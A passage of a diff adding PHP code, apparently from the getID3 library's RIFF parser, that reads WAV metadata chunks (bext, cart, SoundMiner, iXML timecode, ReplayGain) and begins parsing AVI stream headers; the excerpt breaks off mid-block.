+					$thisfile_riff_raw_rgad_album['adjustment'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 7, 9));
+
+					$thisfile_riff['rgad']['peakamplitude'] = $thisfile_riff_raw_rgad['fPeakAmplitude'];
+					if (($thisfile_riff_raw_rgad_track['name'] != 0) && ($thisfile_riff_raw_rgad_track['originator'] != 0)) {
+						$thisfile_riff['rgad']['track']['name']            = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_track['name']);
+						$thisfile_riff['rgad']['track']['originator']      = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_track['originator']);
+						$thisfile_riff['rgad']['track']['adjustment']      = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_track['adjustment'], $thisfile_riff_raw_rgad_track['signbit']);
+					}
+					if (($thisfile_riff_raw_rgad_album['name'] != 0) && ($thisfile_riff_raw_rgad_album['originator'] != 0)) {
+						$thisfile_riff['rgad']['album']['name']       = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_album['name']);
+						$thisfile_riff['rgad']['album']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_album['originator']);
+						$thisfile_riff['rgad']['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_album['adjustment'], $thisfile_riff_raw_rgad_album['signbit']);
+					}
+				}
+
+				if (isset($thisfile_riff_WAVE['fact'][0]['data'])) {
+					$thisfile_riff_raw['fact']['NumberOfSamples'] = $this->EitherEndian2Int(substr($thisfile_riff_WAVE['fact'][0]['data'], 0, 4));
+
+					// This should be a good way of calculating exact playtime,
+					// but some sample files have had incorrect number of samples,
+					// so cannot use this method
+
+					// if (!empty($thisfile_riff_raw['fmt ']['nSamplesPerSec'])) {
+					//     $info['playtime_seconds'] = (float) $thisfile_riff_raw['fact']['NumberOfSamples'] / $thisfile_riff_raw['fmt ']['nSamplesPerSec'];
+					// }
+				}
+				if (!empty($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'])) {
+					$thisfile_audio['bitrate'] = getid3_lib::CastAsInt($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'] * 8);
+				}
+
+				if (isset($thisfile_riff_WAVE['bext'][0]['data'])) {
+					// shortcut
+					$thisfile_riff_WAVE_bext_0 = &$thisfile_riff_WAVE['bext'][0];
+
+					$thisfile_riff_WAVE_bext_0['title']          =                         trim(substr($thisfile_riff_WAVE_bext_0['data'],   0, 256));
+					$thisfile_riff_WAVE_bext_0['author']         =                         trim(substr($thisfile_riff_WAVE_bext_0['data'], 256,  32));
+					$thisfile_riff_WAVE_bext_0['reference']      =                         trim(substr($thisfile_riff_WAVE_bext_0['data'], 288,  32));
+					$thisfile_riff_WAVE_bext_0['origin_date']    =                              substr($thisfile_riff_WAVE_bext_0['data'], 320,  10);
+					$thisfile_riff_WAVE_bext_0['origin_time']    =                              substr($thisfile_riff_WAVE_bext_0['data'], 330,   8);
+					$thisfile_riff_WAVE_bext_0['time_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 338,   8));
+					$thisfile_riff_WAVE_bext_0['bwf_version']    = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 346,   1));
+					$thisfile_riff_WAVE_bext_0['reserved']       =                              substr($thisfile_riff_WAVE_bext_0['data'], 347, 254);
+					$thisfile_riff_WAVE_bext_0['coding_history'] =         explode("\r\n", trim(substr($thisfile_riff_WAVE_bext_0['data'], 601)));
+					if (preg_match('#^([0-9]{4}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_date'], $matches_bext_date)) {
+						if (preg_match('#^([0-9]{2}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_time'], $matches_bext_time)) {
+							list($dummy, $bext_timestamp['year'], $bext_timestamp['month'],  $bext_timestamp['day'])    = $matches_bext_date;
+							list($dummy, $bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second']) = $matches_bext_time;
+							$thisfile_riff_WAVE_bext_0['origin_date_unix'] = gmmktime($bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second'], $bext_timestamp['month'], $bext_timestamp['day'], $bext_timestamp['year']);
+						} else {
+							$info['warning'][] = 'RIFF.WAVE.BEXT.origin_time is invalid';
+						}
+					} else {
+						$info['warning'][] = 'RIFF.WAVE.BEXT.origin_date is invalid';
+					}
+					$thisfile_riff['comments']['author'][] = $thisfile_riff_WAVE_bext_0['author'];
+					$thisfile_riff['comments']['title'][]  = $thisfile_riff_WAVE_bext_0['title'];
+				}
+
+				if (isset($thisfile_riff_WAVE['MEXT'][0]['data'])) {
+					// shortcut
+					$thisfile_riff_WAVE_MEXT_0 = &$thisfile_riff_WAVE['MEXT'][0];
+
+					$thisfile_riff_WAVE_MEXT_0['raw']['sound_information']      = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 0, 2));
+					$thisfile_riff_WAVE_MEXT_0['flags']['homogenous']           = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0001);
+					if ($thisfile_riff_WAVE_MEXT_0['flags']['homogenous']) {
+						$thisfile_riff_WAVE_MEXT_0['flags']['padding']          = ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0002) ? false : true;
+						$thisfile_riff_WAVE_MEXT_0['flags']['22_or_44']         =        (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0004);
+						$thisfile_riff_WAVE_MEXT_0['flags']['free_format']      =        (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0008);
+
+						$thisfile_riff_WAVE_MEXT_0['nominal_frame_size']        = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 2, 2));
+					}
+					$thisfile_riff_WAVE_MEXT_0['anciliary_data_length']         = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 6, 2));
+					$thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def']     = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 8, 2));
+					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_left']  = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0001);
+					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_free']  = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0002);
+					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_right'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0004);
+				}
+
+				if (isset($thisfile_riff_WAVE['cart'][0]['data'])) {
+					// shortcut
+					$thisfile_riff_WAVE_cart_0 = &$thisfile_riff_WAVE['cart'][0];
+
+					$thisfile_riff_WAVE_cart_0['version']              =                              substr($thisfile_riff_WAVE_cart_0['data'],   0,  4);
+					$thisfile_riff_WAVE_cart_0['title']                =                         trim(substr($thisfile_riff_WAVE_cart_0['data'],   4, 64));
+					$thisfile_riff_WAVE_cart_0['artist']               =                         trim(substr($thisfile_riff_WAVE_cart_0['data'],  68, 64));
+					$thisfile_riff_WAVE_cart_0['cut_id']               =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 132, 64));
+					$thisfile_riff_WAVE_cart_0['client_id']            =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 196, 64));
+					$thisfile_riff_WAVE_cart_0['category']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 260, 64));
+					$thisfile_riff_WAVE_cart_0['classification']       =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 324, 64));
+					$thisfile_riff_WAVE_cart_0['out_cue']              =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 388, 64));
+					$thisfile_riff_WAVE_cart_0['start_date']           =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 452, 10));
+					$thisfile_riff_WAVE_cart_0['start_time']           =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 462,  8));
+					$thisfile_riff_WAVE_cart_0['end_date']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 470, 10));
+					$thisfile_riff_WAVE_cart_0['end_time']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 480,  8));
+					$thisfile_riff_WAVE_cart_0['producer_app_id']      =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 488, 64));
+					$thisfile_riff_WAVE_cart_0['producer_app_version'] =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 552, 64));
+					$thisfile_riff_WAVE_cart_0['user_defined_text']    =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 616, 64));
+					$thisfile_riff_WAVE_cart_0['zero_db_reference']    = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 680,  4), true);
+					for ($i = 0; $i < 8; $i++) {
+						$thisfile_riff_WAVE_cart_0['post_time'][$i]['usage_fourcc'] =                  substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8), 4);
+						$thisfile_riff_WAVE_cart_0['post_time'][$i]['timer_value']  = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8) + 4, 4));
+					}
+					$thisfile_riff_WAVE_cart_0['url']              =                 trim(substr($thisfile_riff_WAVE_cart_0['data'],  748, 1024));
+					$thisfile_riff_WAVE_cart_0['tag_text']         = explode("\r\n", trim(substr($thisfile_riff_WAVE_cart_0['data'], 1772)));
+
+					$thisfile_riff['comments']['artist'][] = $thisfile_riff_WAVE_cart_0['artist'];
+					$thisfile_riff['comments']['title'][]  = $thisfile_riff_WAVE_cart_0['title'];
+				}
+
+				if (isset($thisfile_riff_WAVE['SNDM'][0]['data'])) {
+					// SoundMiner metadata
+
+					// shortcuts
+					$thisfile_riff_WAVE_SNDM_0      = &$thisfile_riff_WAVE['SNDM'][0];
+					$thisfile_riff_WAVE_SNDM_0_data = &$thisfile_riff_WAVE_SNDM_0['data'];
+					$SNDM_startoffset = 0;
+					$SNDM_endoffset   = $thisfile_riff_WAVE_SNDM_0['size'];
+
+					while ($SNDM_startoffset < $SNDM_endoffset) {
+						$SNDM_thisTagOffset = 0;
+						$SNDM_thisTagSize      = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4));
+						$SNDM_thisTagOffset += 4;
+						$SNDM_thisTagKey       =                           substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4);
+						$SNDM_thisTagOffset += 4;
+						$SNDM_thisTagDataSize  = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2));
+						$SNDM_thisTagOffset += 2;
+						$SNDM_thisTagDataFlags = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2));
+						$SNDM_thisTagOffset += 2;
+						$SNDM_thisTagDataText =                            substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, $SNDM_thisTagDataSize);
+						$SNDM_thisTagOffset += $SNDM_thisTagDataSize;
+
+						if ($SNDM_thisTagSize != (4 + 4 + 2 + 2 + $SNDM_thisTagDataSize)) {
+							$info['warning'][] = 'RIFF.WAVE.SNDM.data contains tag not expected length (expected: '.$SNDM_thisTagSize.', found: '.(4 + 4 + 2 + 2 + $SNDM_thisTagDataSize).') at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')';
+							break;
+						} elseif ($SNDM_thisTagSize <= 0) {
+							$info['warning'][] = 'RIFF.WAVE.SNDM.data contains zero-size tag at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')';
+							break;
+						}
+						$SNDM_startoffset += $SNDM_thisTagSize;
+
+						$thisfile_riff_WAVE_SNDM_0['parsed_raw'][$SNDM_thisTagKey] = $SNDM_thisTagDataText;
+						if ($parsedkey = self::waveSNDMtagLookup($SNDM_thisTagKey)) {
+							$thisfile_riff_WAVE_SNDM_0['parsed'][$parsedkey] = $SNDM_thisTagDataText;
+						} else {
+							$info['warning'][] = 'RIFF.WAVE.SNDM contains unknown tag "'.$SNDM_thisTagKey.'" at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')';
+						}
+					}
+
+					$tagmapping = array(
+						'tracktitle'=>'title',
+						'category'  =>'genre',
+						'cdtitle'   =>'album',
+						'tracktitle'=>'title',
+					);
+					foreach ($tagmapping as $fromkey => $tokey) {
+						if (isset($thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey])) {
+							$thisfile_riff['comments'][$tokey][] = $thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey];
+						}
+					}
+				}
+
+				if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {
+					// requires functions simplexml_load_string and get_object_vars
+					if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {
+						$thisfile_riff_WAVE['iXML'][0]['parsed'] = $parsedXML;
+						if (isset($parsedXML['SPEED']['MASTER_SPEED'])) {
+							@list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['MASTER_SPEED']);
+							$thisfile_riff_WAVE['iXML'][0]['master_speed'] = $numerator / ($denominator ? $denominator : 1000);
+						}
+						if (isset($parsedXML['SPEED']['TIMECODE_RATE'])) {
+							@list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['TIMECODE_RATE']);
+							$thisfile_riff_WAVE['iXML'][0]['timecode_rate'] = $numerator / ($denominator ? $denominator : 1000);
+						}
+						if (isset($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO']) && !empty($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) && !empty($thisfile_riff_WAVE['iXML'][0]['timecode_rate'])) {
+							$samples_since_midnight = floatval(ltrim($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_HI'].$parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO'], '0'));
+							$thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] = $samples_since_midnight / $parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE'];
+							$h = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds']       / 3600);
+							$m = floor(($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600))      / 60);
+							$s = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60));
+							$f =       ($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60) - $s) * $thisfile_riff_WAVE['iXML'][0]['timecode_rate'];
+							$thisfile_riff_WAVE['iXML'][0]['timecode_string']       = sprintf('%02d:%02d:%02d:%05.2f', $h, $m, $s,       $f);
+							$thisfile_riff_WAVE['iXML'][0]['timecode_string_round'] = sprintf('%02d:%02d:%02d:%02d',   $h, $m, $s, round($f));
+						}
+						unset($parsedXML);
+					}
+				}
+
+
+
+				if (!isset($thisfile_audio['bitrate']) && isset($thisfile_riff_audio[$streamindex]['bitrate'])) {
+					$thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate'];
+					$info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $thisfile_audio['bitrate']);
+				}
+
+				if (!empty($info['wavpack'])) {
+					$thisfile_audio_dataformat = 'wavpack';
+					$thisfile_audio['bitrate_mode'] = 'vbr';
+					$thisfile_audio['encoder']      = 'WavPack v'.$info['wavpack']['version'];
+
+					// Reset to the way it was - RIFF parsing will have messed this up
+					$info['avdataend']        = $Original['avdataend'];
+					$thisfile_audio['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
+
+					$this->fseek($info['avdataoffset'] - 44);
+					$RIFFdata = $this->fread(44);
+					$OrignalRIFFheaderSize = getid3_lib::LittleEndian2Int(substr($RIFFdata,  4, 4)) +  8;
+					$OrignalRIFFdataSize   = getid3_lib::LittleEndian2Int(substr($RIFFdata, 40, 4)) + 44;
+
+					if ($OrignalRIFFheaderSize > $OrignalRIFFdataSize) {
+						$info['avdataend'] -= ($OrignalRIFFheaderSize - $OrignalRIFFdataSize);
+						$this->fseek($info['avdataend']);
+						$RIFFdata .= $this->fread($OrignalRIFFheaderSize - $OrignalRIFFdataSize);
+					}
+
+					// move the data chunk after all other chunks (if any)
+					// so that the RIFF parser doesn't see EOF when trying
+					// to skip over the data chunk
+					$RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8);
+					$getid3_riff = new getid3_riff($this->getid3);
+					$getid3_riff->ParseRIFFdata($RIFFdata);
+					unset($getid3_riff);
+				}
+
+				if (isset($thisfile_riff_raw['fmt ']['wFormatTag'])) {
+					switch ($thisfile_riff_raw['fmt ']['wFormatTag']) {
+						case 0x0001: // PCM
+							if (!empty($info['ac3'])) {
+								// Dolby Digital WAV files masquerade as PCM-WAV, but they're not
+								$thisfile_audio['wformattag']  = 0x2000;
+								$thisfile_audio['codec']       = self::wFormatTagLookup($thisfile_audio['wformattag']);
+								$thisfile_audio['lossless']    = false;
+								$thisfile_audio['bitrate']     = $info['ac3']['bitrate'];
+								$thisfile_audio['sample_rate'] = $info['ac3']['sample_rate'];
+							}
+							if (!empty($info['dts'])) {
+								// Dolby DTS files masquerade as PCM-WAV, but they're not
+								$thisfile_audio['wformattag']  = 0x2001;
+								$thisfile_audio['codec']       = self::wFormatTagLookup($thisfile_audio['wformattag']);
+								$thisfile_audio['lossless']    = false;
+								$thisfile_audio['bitrate']     = $info['dts']['bitrate'];
+								$thisfile_audio['sample_rate'] = $info['dts']['sample_rate'];
+							}
+							break;
+						case 0x08AE: // ClearJump LiteWave
+							$thisfile_audio['bitrate_mode'] = 'vbr';
+							$thisfile_audio_dataformat   = 'litewave';
+
+							//typedef struct tagSLwFormat {
+							//  WORD    m_wCompFormat;     // low byte defines compression method, high byte is compression flags
+							//  DWORD   m_dwScale;         // scale factor for lossy compression
+							//  DWORD   m_dwBlockSize;     // number of samples in encoded blocks
+							//  WORD    m_wQuality;        // alias for the scale factor
+							//  WORD    m_wMarkDistance;   // distance between marks in bytes
+							//  WORD    m_wReserved;
+							//
+							//  //following paramters are ignored if CF_FILESRC is not set
+							//  DWORD   m_dwOrgSize;       // original file size in bytes
+							//  WORD    m_bFactExists;     // indicates if 'fact' chunk exists in the original file
+							//  DWORD   m_dwRiffChunkSize; // riff chunk size in the original file
+							//
+							//  PCMWAVEFORMAT m_OrgWf;     // original wave format
+							// }SLwFormat, *PSLwFormat;
+
+							// shortcut
+							$thisfile_riff['litewave']['raw'] = array();
+							$riff_litewave     = &$thisfile_riff['litewave'];
+							$riff_litewave_raw = &$riff_litewave['raw'];
+
+							$flags = array(
+								'compression_method' => 1,
+								'compression_flags'  => 1,
+								'm_dwScale'          => 4,
+								'm_dwBlockSize'      => 4,
+								'm_wQuality'         => 2,
+								'm_wMarkDistance'    => 2,
+								'm_wReserved'        => 2,
+								'm_dwOrgSize'        => 4,
+								'm_bFactExists'      => 2,
+								'm_dwRiffChunkSize'  => 4,
+							);
+							$litewave_offset = 18;
+							foreach ($flags as $flag => $length) {
+								$riff_litewave_raw[$flag] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE['fmt '][0]['data'], $litewave_offset, $length));
+								$litewave_offset += $length;
+							}
+
+							//$riff_litewave['quality_factor'] = intval(round((2000 - $riff_litewave_raw['m_dwScale']) / 20));
+							$riff_litewave['quality_factor'] = $riff_litewave_raw['m_wQuality'];
+
+							$riff_litewave['flags']['raw_source']    = ($riff_litewave_raw['compression_flags'] & 0x01) ? false : true;
+							$riff_litewave['flags']['vbr_blocksize'] = ($riff_litewave_raw['compression_flags'] & 0x02) ? false : true;
+							$riff_litewave['flags']['seekpoints']    =        (bool) ($riff_litewave_raw['compression_flags'] & 0x04);
+
+							$thisfile_audio['lossless']        = (($riff_litewave_raw['m_wQuality'] == 100) ? true : false);
+							$thisfile_audio['encoder_options'] = '-q'.$riff_litewave['quality_factor'];
+							break;
+
+						default:
+							break;
+					}
+				}
+				if ($info['avdataend'] > $info['filesize']) {
+					switch (!empty($thisfile_audio_dataformat) ? $thisfile_audio_dataformat : '') {
+						case 'wavpack': // WavPack
+						case 'lpac':    // LPAC
+						case 'ofr':     // OptimFROG
+						case 'ofs':     // OptimFROG DualStream
+							// lossless compressed audio formats that keep original RIFF headers - skip warning
+							break;
+
+						case 'litewave':
+							if (($info['avdataend'] - $info['filesize']) == 1) {
+								// LiteWave appears to incorrectly *not* pad actual output file
+								// to nearest WORD boundary so may appear to be short by one
+								// byte, in which case - skip warning
+							} else {
+								// Short by more than one byte, throw warning
+								$info['warning'][] = 'Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)';
+								$info['avdataend'] = $info['filesize'];
+							}
+							break;
+
+						default:
+							if ((($info['avdataend'] - $info['filesize']) == 1) && (($thisfile_riff[$RIFFsubtype]['data'][0]['size'] % 2) == 0) && ((($info['filesize'] - $info['avdataoffset']) % 2) == 1)) {
+								// output file appears to be incorrectly *not* padded to nearest WORD boundary
+								// Output less severe warning
+								$info['warning'][] = 'File should probably be padded to nearest WORD boundary, but it is not (expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' therefore short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)';
+								$info['avdataend'] = $info['filesize'];
+							} else {
+								// Short by more than one byte, throw warning
+								$info['warning'][] = 'Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)';
+								$info['avdataend'] = $info['filesize'];
+							}
+							break;
+					}
+				}
+				if (!empty($info['mpeg']['audio']['LAME']['audio_bytes'])) {
+					if ((($info['avdataend'] - $info['avdataoffset']) - $info['mpeg']['audio']['LAME']['audio_bytes']) == 1) {
+						$info['avdataend']--;
+						$info['warning'][] = 'Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored';
+					}
+				}
+				if (isset($thisfile_audio_dataformat) && ($thisfile_audio_dataformat == 'ac3')) {
+					unset($thisfile_audio['bits_per_sample']);
+					if (!empty($info['ac3']['bitrate']) && ($info['ac3']['bitrate'] != $thisfile_audio['bitrate'])) {
+						$thisfile_audio['bitrate'] = $info['ac3']['bitrate'];
+					}
+				}
+				break;
+
+			// http://en.wikipedia.org/wiki/Audio_Video_Interleave
+			case 'AVI ':
+				$info['fileformat'] = 'avi';
+				$info['mime_type']  = 'video/avi';
+
+				$thisfile_video['bitrate_mode'] = 'vbr'; // maybe not, but probably
+				$thisfile_video['dataformat']   = 'avi';
+
+				if (isset($thisfile_riff[$RIFFsubtype]['movi']['offset'])) {
+					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['movi']['offset'] + 8;
+					if (isset($thisfile_riff['AVIX'])) {
+						$info['avdataend'] = $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['offset'] + $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['size'];
+					} else {
+						$info['avdataend'] = $thisfile_riff['AVI ']['movi']['offset'] + $thisfile_riff['AVI ']['movi']['size'];
+					}
+					if ($info['avdataend'] > $info['filesize']) {
+						$info['warning'][] = 'Probably truncated file - expecting '.($info['avdataend'] - $info['avdataoffset']).' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($info['avdataend'] - $info['filesize']).' bytes)';
+						$info['avdataend'] = $info['filesize'];
+					}
+				}
+
+				if (isset($thisfile_riff['AVI ']['hdrl']['strl']['indx'])) {
+					//$bIndexType = array(
+					//	0x00 => 'AVI_INDEX_OF_INDEXES',
+					//	0x01 => 'AVI_INDEX_OF_CHUNKS',
+					//	0x80 => 'AVI_INDEX_IS_DATA',
+					//);
+					//$bIndexSubtype = array(
+					//	0x01 => array(
+					//		0x01 => 'AVI_INDEX_2FIELD',
+					//	),
+					//);
+					foreach ($thisfile_riff['AVI ']['hdrl']['strl']['indx'] as $streamnumber => $steamdataarray) {
+						$ahsisd = &$thisfile_riff['AVI ']['hdrl']['strl']['indx'][$streamnumber]['data'];
+
+						$thisfile_riff_raw['indx'][$streamnumber]['wLongsPerEntry'] = $this->EitherEndian2Int(substr($ahsisd,  0, 2));
+						$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']  = $this->EitherEndian2Int(substr($ahsisd,  2, 1));
+						$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']     = $this->EitherEndian2Int(substr($ahsisd,  3, 1));
+						$thisfile_riff_raw['indx'][$streamnumber]['nEntriesInUse']  = $this->EitherEndian2Int(substr($ahsisd,  4, 4));
+						$thisfile_riff_raw['indx'][$streamnumber]['dwChunkId']      =                         substr($ahsisd,  8, 4);
+						$thisfile_riff_raw['indx'][$streamnumber]['dwReserved']     = $this->EitherEndian2Int(substr($ahsisd, 12, 4));
+
+						//$thisfile_riff_raw['indx'][$streamnumber]['bIndexType_name']    =    $bIndexType[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']];
+						//$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType_name'] = $bIndexSubtype[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']][$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']];
+
+						unset($ahsisd);
+					}
+				}
+				if (isset($thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'])) {
+					$avihData = $thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'];
+
+					// shortcut
+					$thisfile_riff_raw['avih'] = array();
+					$thisfile_riff_raw_avih = &$thisfile_riff_raw['avih'];
+
+					$thisfile_riff_raw_avih['dwMicroSecPerFrame']    = $this->EitherEndian2Int(substr($avihData,  0, 4)); // frame display rate (or 0L)
+					if ($thisfile_riff_raw_avih['dwMicroSecPerFrame'] == 0) {
+						$info['error'][] = 'Corrupt RIFF file: avih.dwMicroSecPerFrame == zero';
+						return false;
+					}
+
+					$flags = array(
+						'dwMaxBytesPerSec',       // max. transfer rate
+						'dwPaddingGranularity',   // pad to multiples of this size; normally 2K.
+						'dwFlags',                // the ever-present flags
+						'dwTotalFrames',          // # frames in file
+						'dwInitialFrames',        //
+						'dwStreams',              //
+						'dwSuggestedBufferSize',  //
+						'dwWidth',                //
+						'dwHeight',               //
+						'dwScale',                //
+						'dwRate',                 //
+						'dwStart',                //
+						'dwLength',               //
+					);
+					$avih_offset = 4;
+					foreach ($flags as $flag) {
+						$thisfile_riff_raw_avih[$flag] = $this->EitherEndian2Int(substr($avihData, $avih_offset, 4));
+						$avih_offset += 4;
+					}
+
+					$flags = array(
+						'hasindex'     => 0x00000010,
+						'mustuseindex' => 0x00000020,
+						'interleaved'  => 0x00000100,
+						'trustcktype'  => 0x00000800,
+						'capturedfile' => 0x00010000,
+						'copyrighted'  => 0x00020010,
+					);
+                    foreach ($flags as $flag => $value) {
+						$thisfile_riff_raw_avih['flags'][$flag] = (bool) ($thisfile_riff_raw_avih['dwFlags'] & $value);
+					}
+
+					// shortcut
+					$thisfile_riff_video[$streamindex] = array();
+					$thisfile_riff_video_current = &$thisfile_riff_video[$streamindex];
+
+					if ($thisfile_riff_raw_avih['dwWidth'] > 0) {
+						$thisfile_riff_video_current['frame_width'] = $thisfile_riff_raw_avih['dwWidth'];
+						$thisfile_video['resolution_x']             = $thisfile_riff_video_current['frame_width'];
+					}
+					if ($thisfile_riff_raw_avih['dwHeight'] > 0) {
+						$thisfile_riff_video_current['frame_height'] = $thisfile_riff_raw_avih['dwHeight'];
+						$thisfile_video['resolution_y']              = $thisfile_riff_video_current['frame_height'];
+					}
+					if ($thisfile_riff_raw_avih['dwTotalFrames'] > 0) {
+						$thisfile_riff_video_current['total_frames'] = $thisfile_riff_raw_avih['dwTotalFrames'];
+						$thisfile_video['total_frames']              = $thisfile_riff_video_current['total_frames'];
+					}
+
+					$thisfile_riff_video_current['frame_rate'] = round(1000000 / $thisfile_riff_raw_avih['dwMicroSecPerFrame'], 3);
+					$thisfile_video['frame_rate'] = $thisfile_riff_video_current['frame_rate'];
+				}
+				if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][0]['data'])) {
+					if (is_array($thisfile_riff['AVI ']['hdrl']['strl']['strh'])) {
+						for ($i = 0; $i < count($thisfile_riff['AVI ']['hdrl']['strl']['strh']); $i++) {
+							if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'])) {
+								$strhData = $thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'];
+								$strhfccType = substr($strhData,  0, 4);
+
+								if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'])) {
+									$strfData = $thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'];
+
+									// shortcut
